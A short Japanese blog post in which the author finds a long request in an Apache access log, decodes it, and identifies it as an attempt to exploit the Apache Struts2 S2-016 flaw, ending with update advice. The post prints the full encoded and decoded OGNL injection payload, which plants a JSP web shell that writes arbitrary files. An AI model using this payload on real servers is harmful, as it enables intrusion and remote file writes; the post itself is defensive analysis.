BlankTar

about | blog | works | photo

さっきのapache killerの話を書いたあとでapacheのアクセスログを見ていたら、こんなアクセスが。
xx.xx.xx.xx [01/Jul/2015:03:09:11 +0900] "GET /index.php?redirect:$%7b%2523req%253d%2523context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%2523res%253d%2523context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%2523res.getWriter().println(%2522okokok%2522),%2523res.getWriter().flush(),%2523res.getWriter().close(),new+java.io.BufferedWriter(new+java.io.FileWriter(%2523req.getRealPath(%2522/%2522)%252b%2522lndex.jsp%2522)).append(%2523req.getParameter(%2522shell%2522)).close()%7d&shell=%253C%2525if(request.getParameter(%2522f%2522)!%253Dnull)(new%2520java.io.FileOutputStream(application.getRealPath(%2522%252F%2522)%252Brequest.getParameter(%2522f%2522))).write(request.getParameter(%2522t%2522).getBytes())%253B%2525%253E%253Ca%2520href%253D%2522One_OK%2522%253E%253C%252Fa%253E HTTP/1.1" 404 2583 "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1"
なんじゃこりゃ。むっちゃ長い。

どうもプログラムのコードをそのまんま突っ込んであるようなので、バラしてみました。
redirect:
	${
		#req = #context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),
		#res = #context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
		#res.getWriter().println("okokok"),
		#res.getWriter().flush(),
		#res.getWriter().close(),
		new java.io.BufferedWriter(
			new java.io.FileWriter(
				#req.getRealPath("/") + "lndex.jsp"
			)
		).append(#req.getParameter("shell")).close()
	}
	&shell = <%
		if(request.getParameter("f") != null)
			(
				new java.io.FileOutputStream(application.getRealPath("/") + request.getParameter("f"))
			).write(request.getParameter("t").getBytes());
	%>
	<a href="One_OK"></a>
こんな感じになった。
javaだよjava。javaが埋めこまれている。

調べてみると、どうやらSturts2とやらが関連するようです?
Sturts2というのはjavaでwebアプリケーションを記述するためのフレームワークとのこと。Apacheが作っているらしい。
で、今回問題になるのはS2-016という脆弱性。Apache Struts 2 DocumentationのS2-016のページを見てみると、確かに似たような雰囲気のURIのサンプルが載っている。

脆弱性の内容としては、クエリにredirect: から始まる何かを書いたURIでGETすると、任意のソースを実行できてしまう、というもののようです。
バラしたURIを上に書きましたが、Javaのコードをそのまんま書いて、そのまんま実行するっぽい。
うーむ、くわばらくわばら。

影響をうけるのはStrutsの2.0.0から2.3.15とのこと。
Struts2を利用しているのなら要アップデート、ですかね。

参考:
Tomcat Files Getting uploaded - Security Loophole - Stack Overflow
Apache Struts の脆弱性 (S2-016) に関する注意喚起
< pythonでapache killerを書いてみる python3.4/3.5のasyncioが何となく不満。 >